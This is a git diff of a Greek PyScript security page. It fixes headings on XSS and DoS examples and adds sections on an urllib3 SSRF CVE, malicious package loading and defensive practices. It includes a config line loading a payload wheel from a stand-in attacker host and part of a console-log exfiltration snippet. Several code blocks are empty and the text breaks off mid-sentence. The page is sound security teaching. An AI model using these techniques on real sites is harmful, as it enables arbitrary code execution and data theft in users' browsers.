diff --git a/src/generic-methodologies-and-resources/python/pyscript.md b/src/generic-methodologies-and-resources/python/pyscript.md index 36aa055a9..6297bfab9 100644 --- a/src/generic-methodologies-and-resources/python/pyscript.md +++ b/src/generic-methodologies-and-resources/python/pyscript.md @@ -47,7 +47,7 @@ body: JSON.stringify({ content: btoa(console.logs) }), ``` ![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png) -### Διασταυρούμενη Σκηνική Σcripting (Κανονική) +### Cross Site Scripting (Κανονικό) Code: ```python @@ -57,7 +57,7 @@ print("") ``` ![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png) -### Διασταυρούμενη Εξαπάτηση Ιστοσελίδων (Python Obfuscated) +### Cross Site Scripting (Python Obfuscated) Κώδικας: ```python @@ -78,7 +78,7 @@ print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p) Κώδικας: ```html -prinht(" +prinht("" -") +"") ``` ![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png) -### Επίθεση DoS (Ατέρμον βρόχος) +### Επίθεση DoS (Ατέρμον βρόχο) -Κώδικας: +Code: ```html while True: @@ -156,4 +156,62 @@ print("            & ``` ![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png) +--- + +## Νέες ευπάθειες & τεχνικές (2023-2025) + +### Server-Side Request Forgery μέσω μη ελεγχόμενων ανακατευθύνσεων (CVE-2025-50182) + +`urllib3 < 2.5.0` αγνοεί τις παραμέτρους `redirect` και `retries` όταν εκτελείται **μέσα στο περιβάλλον εκτέλεσης Pyodide** που συνοδεύει το PyScript. Όταν ένας επιτιθέμενος μπορεί να επηρεάσει τις στοχευμένες διευθύνσεις URL, μπορεί να αναγκάσει τον κώδικα Python να ακολουθήσει ανακατευθύνσεις μεταξύ τομέων ακόμη και όταν ο προγραμματιστής τις έχει απενεργοποιήσει ρητά ‑ παρακάμπτοντας αποτελεσματικά τη λογική κατά της SSRF. +```html + +``` +Διορθώθηκε στο `urllib3 2.5.0` – αναβαθμίστε το πακέτο στην εικόνα PyScript σας ή καθορίστε μια ασφαλή έκδοση στο `packages = ["urllib3>=2.5.0"]`. Δείτε την επίσημη καταχώρηση CVE για λεπτομέρειες. + +### Φόρτωση αυθαίρετων πακέτων & επιθέσεις εφοδιαστικής αλυσίδας + +Δεδομένου ότι το PyScript επιτρέπει αυθαίρετες διευθύνσεις URL στη λίστα `packages`, ένας κακόβουλος παράγοντας που μπορεί να τροποποιήσει ή να εισάγει ρυθμίσεις μπορεί να εκτελέσει **εντελώς αυθαίρετο Python** στον περιηγητή του θύματος: +```html + +packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"] + + +``` +*Μόνο οι καθαροί τροχοί Python απαιτούνται – δεν χρειάζεται βήμα μεταγλώττισης WebAssembly.* Βεβαιωθείτε ότι η διαμόρφωση δεν ελέγχεται από τον χρήστη και φιλοξενήστε αξιόπιστους τροχούς στον τομέα σας με HTTPS & SRI hashes. + +### Αλλαγές απολύμανσης εξόδου (2023+) + +* `print()` εξακολουθεί να εισάγει ακατέργαστο HTML και είναι επομένως επιρρεπές σε XSS (παραδείγματα παραπάνω). +* Ο νεότερος βοηθός `display()` **διαφεύγει HTML από προεπιλογή** – η ακατέργαστη μορφοποίηση πρέπει να είναι περιτυλιγμένη σε `pyscript.HTML()`. +```python +from pyscript import display, HTML + +display("escaped") # renders literally + +display(HTML("not-escaped")) # executes as HTML -> potential XSS if untrusted +``` +Αυτή η συμπεριφορά εισήχθη το 2023 και τεκμηριώνεται στον επίσημο οδηγό Built-ins. Εξαρτηθείτε από το `display()` για μη αξιόπιστη είσοδο και αποφύγετε την άμεση κλήση του `print()`. + +--- + +## Αμυντικές Καλές Πρακτικές + +* **Διατηρήστε τα πακέτα ενημερωμένα** – αναβαθμίστε σε `urllib3 >= 2.5.0` και ανακατασκευάστε τακτικά τα wheels που αποστέλλονται με τον ιστότοπο. +* **Περιορίστε τις πηγές πακέτων** – αναφέρετε μόνο ονόματα PyPI ή URLs της ίδιας προέλευσης, ιδανικά προστατευμένα με Sub-resource Integrity (SRI). +* **Ενισχύστε την Πολιτική Ασφαλείας Περιεχομένου** – απαγορεύστε το inline JavaScript (`script-src 'self' 'sha256-…'`) ώστε να μην μπορούν να εκτελούνται τα εισαγόμενα μπλοκ `